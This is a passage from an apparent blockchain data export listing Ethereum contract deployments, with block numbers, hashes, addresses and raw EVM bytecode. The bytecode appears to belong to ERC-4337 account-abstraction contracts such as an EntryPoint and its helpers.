30194909452506060015292915050565b6020815260006139676020830184614465565b604081526000614db26040830185614b57565b90508260208301529392505050565b8051805173ffffffffffffffffffffffffffffffffffffffff1683526020810151602084015260408101516040840152606081015160608401526080810151608084015260a081015160a084015260c081015160c084015260e0810151614e4060e085018273ffffffffffffffffffffffffffffffffffffffff169052565b5061010081810151908401526101209081015190830152602081015161014083015260408101516101608301526060810151610180830152608001516101a090910152565b6000610200808352614e9981840187614465565b9050614ea86020840186614dc1565b8281036101e0840152614ebb8185614465565b9695505050505050565b6000610200808352614eda81840187896148e0565b9050614ee96020840186614dc1565b8281036101e0840152614c388185614465565b606081526000614f0f6060830186614b57565b60208301949094525060400152919050565b600060208284031215614f3357600080fd5b5051919050565b82815260606020820152600d60608201527f4141323320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b60008060408385031215614f9a57600080fd5b825167ffffffffffffffff811115614fb157600080fd5b8301601f81018513614fc257600080fd5b8051614fd061425b82614073565b818152866020838501011115614fe557600080fd5b614ff6826020830160208601614441565b60209590950151949694955050505050565b82815260606020820152600d60608201527f4141333320726576657274656400000000000000000000000000000000000000608082015260a06040820152600061302b60a0830184614465565b7fffffffffffffffffffffffffffffffff000000000000000000000000000000008135818116916010851015614a4f5760109490940360031b84901b169092169291505056fea264697066735822122022e02178dc569768380168e9e3ea80c02f334e22212a424c7e3d8b24376c948964736f6c63430008170033
| |
1 | 19,502,277 |
17fd5718fdc947e09265933df0813aad84f26d6c2aed06216277a3b5f63c3bf1
|
674ef2084f9fa729adf5c9d3740de47d8c0c66cc19f4b3003ae48d265252a1b9
|
433704c40f80cbff02e86fd36bc8bac5e31eb0c1
|
f342fef459daec88969e71897005bfe37484edfa
|
d3c986945cf6e5b4c209236d824f104aa77068ae
|
608060405234801561001057600080fd5b50610213806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
|
608060405234801561001057600080fd5b506004361061002b5760003560e01c8063570e1a3614610030575b600080fd5b61004361003e3660046100f9565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60008061007c601482858761016b565b61008591610195565b60601c90506000610099846014818861016b565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525084519495509360209350849250905082850182875af190506000519350806100f057600093505b50505092915050565b6000806020838503121561010c57600080fd5b823567ffffffffffffffff8082111561012457600080fd5b818501915085601f83011261013857600080fd5b81358181111561014757600080fd5b86602082850101111561015957600080fd5b60209290920196919550909350505050565b6000808585111561017b57600080fd5b8386111561018857600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081358181169160148510156101d55780818660140360031b1b83161692505b50509291505056fea2646970667358221220f4eeea3c52e568afe7af0cb6d22e9eba322f25189228e2d96485c8f1d485112464736f6c63430008170033
| |
1 | 19,502,280 |
fca9f9b42a4ea0075e7559b1e51454201710d43d27b245614cd84cc06a373300
|
19c605fc31773cb22b41707b60a0d8d3201ce68df890f15c4b17dd04df29a35c
|
433704c40f80cbff02e86fd36bc8bac5e31eb0c1
|
4e59b44847b379578588920ca78fbf26c0b4956c
|
e629eb112f891a341cd2b66b2376ba68e7011241
|
60806040526040516100109061005f565b604051809103906000f08015801561002c573d6000803e3d6000fd5b50600080546001600160a01b0319166001600160a01b039290921691909117905534801561005957600080fd5b5061006c565b6153c8806105d683390190565b61055b8061007b6000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063c18f522614610030575b600080fd5b61004361003e36600461023a565b610059565b6040516100509190610403565b60405180910390f35b606060008251600161006b9190610485565b67ffffffffffffffff811115610083576100836101bc565b6040519080825280602002602001820160405280156100b657816020015b60608152602001906001900390816100a15790505b50905060005b83518110156101b25760608573ffffffffffffffffffffffffffffffffffffffff1663850aaf6260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16878581518110610116576101166104bf565b60200260200101516040518363ffffffff1660e01b815260040161013b9291906104ee565b600060405180830381600087803b15801561015557600080fd5b505af1925050508015610166575060015b61018b573d604051602082018101604052818152816000602083013e915061018b9050565b8083838151811061019e5761019e6104bf565b6020908102919091010152506001016100bc565b5090505b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715610232576102326101bc565b604052919050565b600080604080848603121561024e57600080fd5b833573ffffffffffffffffffffffffffffffffffffffff8116811461027257600080fd5b925060208481013567ffffffffffffffff8082111561029057600080fd5b8187019150601f88601f8401126102a657600080fd5b8235828111156102b8576102b86101bc565b8060051b6102c78682016101eb565b918252848101860191868101908c8411156102e157600080fd5b87870192505b8383101561038c578235868111156102ff5760008081fd5b8701603f81018e136103115760008081fd5b8881013587811115610325576103256101bc565b6103548a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe089840116016101eb565b8181528f8c8385010111156103695760008081fd5b818c84018c83013760009181018b019190915283525091870191908701906102e7565b8099505050505050505050509250929050565b6000815180845260005b818110156103c5576020818501810151868301820152016103a9565b5060006020828601015260207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f83011685010191505092915050565b600060208083016020845280855180835260408601915060408160051b87010192506020870160005b82811015610478577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc088860301845261046685835161039f565b9450928501929085019060010161042c565b5092979650505050505050565b808201808211156101b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8316815260406020820152600061051d604083018461039f565b94935050505056fea2646970667358221220eeb9aca990134adf0a85230089406f5dd50171f3e00b1113b75843586c06007764736f6c6343000817003360a060405260405162000012906200009d565b604051809103906000f0801580156200002f573d6000803e3d6000fd5b506001600160a01b0390811660805260408051808201825260008082528251808401909352808352602080840191825282018390529051600380546001600160a01b031916919094161790925551600455516005553480156200009157600080fd5b506001600255620000ab565b610233806200519583390190565b6080516150d1620000c4600039600050506150d16000f3fe60806040526004361061016d5760003560e01c806370a08231116100cb578063bb9fe6bf1161007f578063c5f996e611610059578063c5f996e6146105b9578063dbed18e0146105d9578063fc7e286d146105f957600080fd5b8063bb9fe6bf14610557578063c23a5cea1461056c578063c3bce0091461058c57600080fd5b8063850aaf62116100b0578063850aaf62146105045780639b249f6914610524578063b760faf91461054457600080fd5b806370a08231146104a1578063765e827f146104e457600080fd5b8063205c28781161012257806335567e1a1161010757806335567e1a146102905780635287ce12146103255780635895273b1461047457600080fd5b8063205c28781461025057806322cdde4c1461027057600080fd5b80630396cb60116101535780630396cb60146101e55780630bd28e3b146101f85780631b2e01b81461021857600080fd5b806242dc531461018257806301ffc9a7146101b557600080fd5b3661017d5761017b336106cb565b005b600080fd5b34801561018e57600080fd5b506101a261019d36600461420a565b6106ec565b6040519081526020015b60405180910390f35b3480156101c157600080fd5b506101d56101d03660046142ca565b6108b5565b60405190151581526020016101ac565b61017b6101f336600461430c565b610a32565b34801561020457600080fd5b5061017b61021336600461435a565b610dc8565b34801561022457600080fd5b506101a2610233366004614375565b600160209081526000928352604080842090915290825290205481565b34801561025c57600080fd5b5061017b61026b3660046143aa565b610e10565b34801561027c57600080fd5b506101a261028b3660046143ef565b610fba565b34801561029c57600080fd5b506101a26102ab366004614375565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff8516845290915290819020549082901b7fffffffffffffffffffffffffffffffffffffffffffffffff0000000000000000161792915050565b34801561033157600080fd5b50610412610340366004614424565b6040805160a0810182526000808252602082018190529181018290526060810182905260808101919091525073ffffffffffffffffffffffffffffffffffffffff1660009081526020818152604091829020825160a0810184528154815260019091015460ff811615159282019290925261010082046dffffffffffffffffffffffffffff16928101929092526f01000000000000000000000000000000810463ffffffff166060830152730100000000000000000000000000000000000000900465ffffffffffff16608082015290565b6040516101ac9190600060a082019050825182526020830151151560208301526dffffffffffffffffffffffffffff604084015116604083015263ffffffff606084015116606083015265ffffffffffff608084015116608083015292915050565b34801561048057600080fd5b5061049461048f3660046143ef565b610ffc565b6040516101ac91906144af565b3480156104ad57600080fd5b506101a26104bc366004614424565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205490565b3480156104f057600080fd5b5061017b6104ff366004614543565b6110f1565b34801561051057600080fd5b5061017b61051f36600461459a565b61126e565b34801561053057600080fd5b5061017b61053f3660046145ef565b611313565b61017b610552366004614424565b6106cb565b34801561056357600080fd5b5061017b6113fe565b34801561057857600080fd5b5061017b610587366004614424565b6115de565b34801561059857600080fd5b506105ac6105a73660046143ef565b6118cb565b6040516101ac9190614631565b3480156105c557600080fd5b5061017b6105d4366004614711565b611bcf565b3480156105e557600080fd5b5061017b6105f4366004614543565b611cb5565b34801561060557600080fd5b50610681610614366004614424565b6000602081905290815260409020805460019091015460ff81169061010081046dffffffffffffffffffffffffffff16906f01000000000000000000000000000000810463ffffffff1690730100000000000000000000000000000000000000900465ffffffffffff1685565b6040805195865293151560208601526dffffffffffffffffffffffffffff9092169284019290925263ffffffff909116606083015265ffffffffffff16608082015260a0016101ac565b60015b60058110156106df576001016106ce565b6106e882612161565b5050565b6000805a9050333014610760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393220696e7465726e616c2063616c6c206f6e6c7900000000000000000060448201526064015b60405180910390fd5b8451606081015160a082015181016127100160405a603f028161078557610785614773565b0410156107b6577fdeaddead0000000000000000000000000000000000000000000000000000000060005260206000fd5b8751600090156108575760006107d3846000015160008c866121b7565b9050806108555760006107e76108006121cf565b80519091501561084f57846000015173ffffffffffffffffffffffffffffffffffffffff168a602001517f1c4fada7374c0a9ee8841fc38afe82932dc0f8e69012e927f061a8bae611a2018760200151846040516108469291906147a2565b60405180910390a35b60019250505b505b600088608001515a86030190506108a7828a8a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508792506121fb915050565b9a9950505050505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f60fc6b6e00000000000000000000000000000000000000000000000000000000148061094857507fffffffff0000000000000000000000000000000000000000000000000000000082167f915074d800000000000000000000000000000000000000000000000000000000145b8061099457507fffffffff0000000000000000000000000000000000000000000000000000000082167fcf28ef9700000000000000000000000000000000000000000000000000000000145b806109e057507fffffffff0000000000000000000000000000000000000000000000000000000082167f3e84f02100000000000000000000000000000000000000000000000000000000145b80610a2c57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b33600090815260208190526040902063ffffffff8216610aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d757374207370656369667920756e7374616b652064656c61790000000000006044820152606401610757565b600181015463ffffffff6f0100000000000000000000000000000090910481169083161015610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f63616e6e6f7420646563726561736520756e7374616b652074696d65000000006044820152606401610757565b6001810154600090610b6190349061010090046dffffffffffffffffffffffffffff166147ea565b905060008111610bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6e6f207374616b652073706563696669656400000000000000000000000000006044820152606401610757565b6dffffffffffffffffffffffffffff811115610c45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f7374616b65206f766572666c6f770000000000000000000000000000000000006044820152606401610757565b6040805160a08101825283548152600160208083018281526dffffffffffffffffffffffffffff86811685870190815263ffffffff8a811660608801818152600060808a0181815233808352828a52918c90209a518b55965199909801805494519151965165ffffffffffff16730100000000000000000000000000000000000000027fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffffff979094166f0100000000000000000000000000000002969096167fffffffffffffff00000000000000000000ffffffffffffffffffffffffffffff91909516610100027fffffffffffffffffffffffffffffffffff0000000000000000000000000000ff991515999099167fffffffffffffffffffffffffffffffffff00000000000000000000000000000090941693909317979097179190911691909117179055835185815290810192909252917fa5ae833d0bb1dcd632d98a8b70973e8516812898e19bf27b70071ebc8dc52c01910160405180910390a2505050565b33600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff851684529091528120805491610e08836147fd565b919050555050565b3360009081526020819052604090208054821115610e8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f576974686472617720616d6f756e7420746f6f206c61726765000000000000006044820152606401610757565b8054610e97908390614835565b81556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810184905233917fd1c19fbcd4551a5edfb66d43d2e337c04837afda3482b42bdf569a8fccdae5fb910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168360405160006040518083038185875af1925050503d8060008114610f44576040519150601f19603f3d011682016040523d82523d6000602084013e610f49565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6661696c656420746f20776974686472617700000000000000000000000000006044820152606401610757565b50505050565b6000610fc582612423565b6040805160208101929092523090820152466060820152608001604051602081830303815290604052805190602001209050919050565b6110376040518060c0016040528060008152602001600081526020016000815260200160008152602001600015158152602001606081525090565b61103f61243c565b611047613dfc565b6110508361247d565b60008061105f600086856125f0565b9150915060006110716000878661284f565b90506040518060c00160405280856080015181526020018281526020018481526020018381526020016000151581526020016040518060400160405280600281526020017f30780000000000000000000000000000000000000000000000000000000000008152508152509450505050506110ec6001600255565b919050565b6110f961243c565b8160008167ffffffffffffffff81111561111557611115613fa8565b60405190808252806020026020018201604052801561114e57816020015b61113b613dfc565b8152602001906001900390816111335790505b50905060005b828110156111c757600082828151811061117057611170614848565b602002602001015190506000806111ab848a8a8781811061119357611193614848565b90506020028101906111a59190614877565b856125f0565b915091506111bc8483836000612c25565b505050600101611154565b506040516000907fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f972908290a160005b83811015611251576112458188888481811061121457611214614848565b90506020028101906112269190614877565b85848151811061123857611238614848565b602002602001015161284f565b909101906001016111f6565b5061125c8482612e7a565b5050506112696001600255565b505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1684846040516112989291906148b5565b600060405180830381855af49150503d80600081146112d3576040519150601f19603f3d011682016040523d82523d6000602084013e6112d8565b606091505b509150915081816040517f994105540000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b600061133460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3684846040518363ffffffff1660e01b815260040161136e929190614929565b6020604051808303816000875af115801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b1919061493d565b6040517f6ca7b80600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152909150602401610757565b336000908152602081905260408120600181015490916f0100000000000000000000000000000090910463ffffffff169003611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6e6f74207374616b6564000000000000000000000000000000000000000000006044820152606401610757565b600181015460ff16611504576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f616c726561647920756e7374616b696e670000000000000000000000000000006044820152606401610757565b600181015460009061152f906f01000000000000000000000000000000900463ffffffff164261495a565b6001830180547fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffff001673010000000000000000000000000000000000000065ffffffffffff84169081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169190911790915560405190815290915033907ffa9b3c14cc825c412c9ed81b3ba365a5b459439403f18829e572ed53a4180f0a906020015b60405180910390a25050565b336000908152602081905260409020600181015461010090046dffffffffffffffffffffffffffff168061166e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4e6f207374616b6520746f2077697468647261770000000000000000000000006044820152606401610757565b6001820154730100000000000000000000000000000000000000900465ffffffffffff166116f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f6d7573742063616c6c20756e6c6f636b5374616b6528292066697273740000006044820152606401610757565b60018201544273010000000000000000000000000000000000000090910465ffffffffffff161115611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f5374616b65207769746864726177616c206973206e6f742064756500000000006044820152606401610757565b6001820180547fffffffffffffff000000000000000000000000000000000000000000000000ff1690556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810183905233917fb7c918e0e249f999e965cafeb6c664271b3f4317d296461500e71da39f0cbda3910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d806000811461185b576040519150601f19603f3d011682016040523d82523d6000602084013e611860565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6661696c656420746f207769746864726177207374616b6500000000000000006044820152606401610757565b6118d3613eae565b6118db613dfc565b6118e48361247d565b6000806118f3600086856125f0565b845160e001516040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff95861683528282528483206001908101546dffffffffffffffffffffffffffff6101008083048216885263ffffffff6f010000000000000000000000000000009384900481169095528e51518951808b018b5288815280880189815291909b1688528787528988209094015490810490911689520490911690528351808501909452818452830152939550919350903660006119c360408b018b614980565b9092509050600060148210156119da5760006119f5565b6119e86014600084866149e5565b6119f191614a0f565b60601c5b6040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff86168352908290529290206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff169091529091509350505050600085905060006040518060a001604052808960800151815260200189604001518152602001888152602001878152602001611aa78a6060015190565b905260408051808201825260035473ffffffffffffffffffffffffffffffffffffffff908116825282518084019093526004548352600554602084810191909152820192909252919250831615801590611b18575060018373ffffffffffffffffffffffffffffffffffffffff1614155b15611b9c5760408051808201825273ffffffffffffffffffffffffffffffffffffffff851680825282518084018452600080825260208083018281529382528181529490206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff16909152909182015290505b6040805160a081018252928352602083019590955293810192909252506060810192909252608082015295945050505050565b611bd7613dfc565b611be08561247d565b611bec600086836125f0565b5060009050606073ffffffffffffffffffffffffffffffffffffffff861615611c7f578573ffffffffffffffffffffffffffffffffffffffff168585604051611c369291906148b5565b6000604051808303816000865af19150503d8060008114611c73576040519150601f19603f3d011682016040523d82523d6000602084013e611c78565b606091505b5090925090505b81816040517fd12c41340000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b611cbd61243c565b816000805b82811015611eaf5736868683818110611cdd57611cdd614848565b9050602002810190611cef9190614a57565b9050366000611cfe8380614a8b565b90925090506000611d156040850160208601614424565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff821601611db6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393620696e76616c69642061676772656761746f720000000000000000006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff811615611e935773ffffffffffffffffffffffffffffffffffffffff8116632dd811338484611dfd6040890189614980565b6040518563ffffffff1660e01b8152600401611e1c9493929190614c43565b60006040518083038186803b158015611e3457600080fd5b505afa925050508015611e45575060015b611e93576040517f86a9f75000000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152602401610757565b611e9d82876147ea565b95505060019093019250611cc2915050565b5060008167ffffffffffffffff811115611ecb57611ecb613fa8565b604051908082528060200260200182016040528015611f0457816020015b611ef1613dfc565b815260200190600190039081611ee95790505b5090506000805b84811015611fe15736888883818110611f2657611f26614848565b9050602002810190611f389190614a57565b9050366000611f478380614a8b565b90925090506000611f5e6040850160208601614424565b90508160005b81811015611fcf576000898981518110611f8057611f80614848565b60200260200101519050600080611fa38b89898781811061119357611193614848565b91509150611fb384838389612c25565b8a611fbd816147fd565b9b505060019093019250611f64915050565b505060019094019350611f0b92505050565b506040517fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f97290600090a150600080805b8581101561211c573689898381811061202c5761202c614848565b905060200281019061203e9190614a57565b90506120506040820160208301614424565b73ffffffffffffffffffffffffffffffffffffffff167f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d60405160405180910390a236600061209f8380614a8b565b90925090508060005b8181101561210b576120ea888585848181106120c6576120c6614848565b90506020028101906120d89190614877565b8b8b8151811061123857611238614848565b6120f490886147ea565b965087612100816147fd565b9850506001016120a8565b505060019093019250612011915050565b506040516000907f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d908290a26121528682612e7a565b50505050506112696001600255565b600061216d8234612fc1565b90508173ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4826040516115d291815260200190565b6000806000845160208601878987f195945050505050565b60603d828111156121dd5750815b604051602082018101604052818152816000602083013e9392505050565b6000805a85519091506000908161221182613001565b60e083015190915073ffffffffffffffffffffffffffffffffffffffff811661223d5782519350612338565b80935060008851111561233857868202955060028a600281111561226357612263614cfa565b146123385760a08301516040517f7c627b2100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff831691637c627b21916122c5908e908d908c908990600401614d29565b600060405180830381600088803b1580156122df57600080fd5b5087f1935050505080156122f1575060015b6123385760006123026108006121cf565b9050806040517fad7954bc0000000000000000000000000000000000000000000000000000000081526004016107579190614d8c565b5a60a0840151606085015160808c01519288039990990198019088038082111561236b576064600a828403020498909801975b505060408901518783029650868110156123e05760028b600281111561239357612393614cfa565b036123b6578096506123a48a613033565b6123b18a6000898b61308f565b612415565b7fdeadaa510000000000000000000000000000000000000000000000000000000060005260206000fd5b8681036123ed8682612fc1565b506000808d600281111561240357612403614cfa565b1490506124128c828b8d61308f565b50505b505050505050949350505050565b600061242e82613117565b805190602001209050919050565b6002805403612477576040517f3ee5aeb500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028055565b61257d6040517fd69400000000000000000000000000000000000000000000000000000000000060208201527fffffffffffffffffffffffffffffffffffffffff0000000000000000000000003060601b1660228201527f01000000000000000000000000000000000000000000000000000000000000006036820152600090603701604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00181529190528051602090910120600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90921691909117905550565b60006125ae61258f6040840184614980565b61259c6020860186614424565b6125a960e0870187614980565b6131dc565b905080516000146106e8576000816040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579291906147a2565b60008060005a845190915061260586826132c5565b61260e86610fba565b6020860152604081015161012082015161010083015160a08401516080850151606086015160c0870151861717171717176effffffffffffffffffffffffffffff8111156126b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f41413934206761732076616c756573206f766572666c6f7700000000000000006044820152606401610757565b60006126e78460c081015160a08201516080830151606084015160408501516101009095015194010101010290565b90506126f68a8a8a8487613410565b965061270a84600001518560200151613651565b61277957896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601a908201527f4141323520696e76616c6964206163636f756e74206e6f6e6365000000000000606082015260800190565b825a860311156127ee57896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413236206f76657220766572696669636174696f6e4761734c696d69740000606082015260800190565b60e084015160609073ffffffffffffffffffffffffffffffffffffffff16156128225761281d8b8b8b856136ac565b975090505b604089018290528060608a015260a08a01355a870301896080018181525050505050505050935093915050565b6000805a90506000612862846060015190565b604051909150600090368261287a60608a018a614980565b915091506060600082600381111561289157843591505b507f72288ed1000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016129d15760008b8b602001516040516024016128f4929190614d9f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f8dd7712f000000000000000000000000000000000000000000000000000000001790525190915030906242dc53906129879084908f908d90602401614e85565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050925050612a48565b3073ffffffffffffffffffffffffffffffffffffffff166242dc5385858d8b604051602401612a039493929190614ec5565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505091505b602060008351602085016000305af19550600051985084604052505050505080612c1b5760003d80602003612a835760206000803e60005191505b507fdeaddead000000000000000000000000000000000000000000000000000000008103612b1657876040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052600f908201527f41413935206f7574206f66206761730000000000000000000000000000000000606082015260800190565b7fdeadaa51000000000000000000000000000000000000000000000000000000008103612b8057600086608001515a612b4f9087614835565b612b5991906147ea565b6040880151909150612b6a88613033565b612b77886000838561308f565b9550612c199050565b8551805160208089015192015173ffffffffffffffffffffffffffffffffffffffff90911691907ff62676f440ff169a3a9afdbf812e89e7f95975ee8e5c31214ffdef631c5f479290612bd46108006121cf565b604051612be29291906147a2565b60405180910390a3600086608001515a612bfc9087614835565b612c0691906147ea565b9050612c1560028886846121fb565b9550505b505b5050509392505050565b600080612c3185613903565b915091508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612cd357856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413234207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8015612d4457856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f414132322065787069726564206f72206e6f7420647565000000000000000000606082015260800190565b6000612d4f85613903565b9250905073ffffffffffffffffffffffffffffffffffffffff811615612dda57866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413334207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8115612e7157866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526021908201527f41413332207061796d61737465722065787069726564206f72206e6f7420647560608201527f6500000000000000000000000000000000000000000000000000000000000000608082015260a00190565b50505050505050565b73ffffffffffffffffffffffffffffffffffffffff8216612ef7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4141393020696e76616c69642062656e656669636961727900000000000000006044820152606401610757565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114612f51576040519150601f19603f3d011682016040523d82523d6000602084013e612f56565b606091505b5050905080611269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f41413931206661696c65642073656e6420746f2062656e6566696369617279006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040812080548290612ff59085906147ea565b91829055509392505050565b6101008101516101208201516000919080820361301f575092915050565b61302b82488301613956565b949350505050565b805180516020808401519281015160405190815273ffffffffffffffffffffffffffffffffffffffff90921692917f67b4fa9642f42120bf031f3051d1824b0fe25627945b27b8a6a65d5761d5482e910160405180910390a350565b835160e0810151815160208088015193015160405173ffffffffffffffffffffffffffffffffffffffff9384169492909316927f49628fd1471006c1482da88028e9ce4dbb080b815c9b0344d39e5a8e6ec1419f916131099189908990899093845291151560208401526040830152606082015260800190565b60405180910390a450505050565b60608135602083013560006131376131326040870187614980565b61396e565b9050600061314b6131326060880188614980565b9050608086013560a087013560c0880135600061316e61313260e08c018c614980565b6040805173ffffffffffffffffffffffffffffffffffffffff9a909a1660208b015289810198909852606089019690965250608087019390935260a086019190915260c085015260e08401526101008084019190915281518084039091018152610120909201905292915050565b606084158015613201575073ffffffffffffffffffffffffffffffffffffffff84163b155b15613240575060408051808201909152601981527f41413230206163636f756e74206e6f74206465706c6f7965640000000000000060208201526132bc565b601482106132ab57600061325760148285876149e5565b61326091614a0f565b60601c9050803b6000036132a957505060408051808201909152601b81527f41413330207061796d6173746572206e6f74206465706c6f796564000000000060208201526132bc565b505b506040805160208101909152600081525b95945050505050565b6132d26020830183614424565b73ffffffffffffffffffffffffffffffffffffffff168152602082810135908201526fffffffffffffffffffffffffffffffff6080808401358281166060850152811c604084015260a084013560c0808501919091528401359182166101008401521c61012082015236600061334b60e0850185614980565b909250905080156133f55760348110156133c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4141393320696e76616c6964207061796d6173746572416e64446174610000006044820152606401610757565b6133cb8282613981565b60a0860152608085015273ffffffffffffffffffffffffffffffffffffffff1660e0840152610fb4565b600060e084018190526080840181905260a084015250505050565b825180516000919061342f888761342a60408b018b614980565b6139f2565b60e0820151600073ffffffffffffffffffffffffffffffffffffffff821661348d5773ffffffffffffffffffffffffffffffffffffffff831660009081526020819052604090205487811161348657808803613489565b60005b9150505b60208801516040517f19822f7c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516916319822f7c9189916134e9918e91908790600401614efc565b60206040518083038160008887f193505050508015613543575060408051601f3d9081017fffffffffffffffffffff